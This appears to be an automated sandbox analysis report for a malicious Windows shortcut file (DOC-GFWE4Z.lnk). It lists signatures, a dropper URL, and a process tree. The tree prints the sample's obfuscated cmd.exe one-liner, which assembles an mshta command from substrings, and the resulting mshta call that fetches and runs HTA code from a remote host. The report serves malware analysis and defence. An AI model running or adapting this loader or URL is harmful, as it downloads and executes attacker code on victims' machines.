Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:21

General

  • Target
    DOC-GFWE4Z.lnk
  • Size 2KB
  • Sample260804-j9gcbaar2v
  • SHA256 94f3c29cd7319753cec77a073b30e9f759e9fa0358e4bf43cf316f647426017d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GFWE4Z.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set DZEFn=loggvqizylog&set AmUQI=datrkhquryuhodat&set Qupq=tmpzqlbesqvblfrhzcqjcdttmp&set vCi=datmdskwmawbfbtoddat&set hZ=logezkhzoecevzjlog&set ESCp=oldelcuutpuppczold&set Bju=cacheicpxnwmtqwyumcache&set uBVC=tmpwwsxsttmp&set mfja=1star6&&set Kb=nt9k&set zL=netigfesyeqglnet&set LOt=ncymshcf8&&set ZbNH=2t9t8&&set GYW=cank9&set Ux=infiabfabjpmehinf&&set KK=h@t@tps@:/@/@ma-p@dffil@[email protected]@t/@h@/@esta@[email protected]?@r=3914@69@F@B@5D82DB&&start /b !LOt:~3,3!!ZbNH:~1,1!!GYW:~1,1! !KK:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:868
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:1872

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads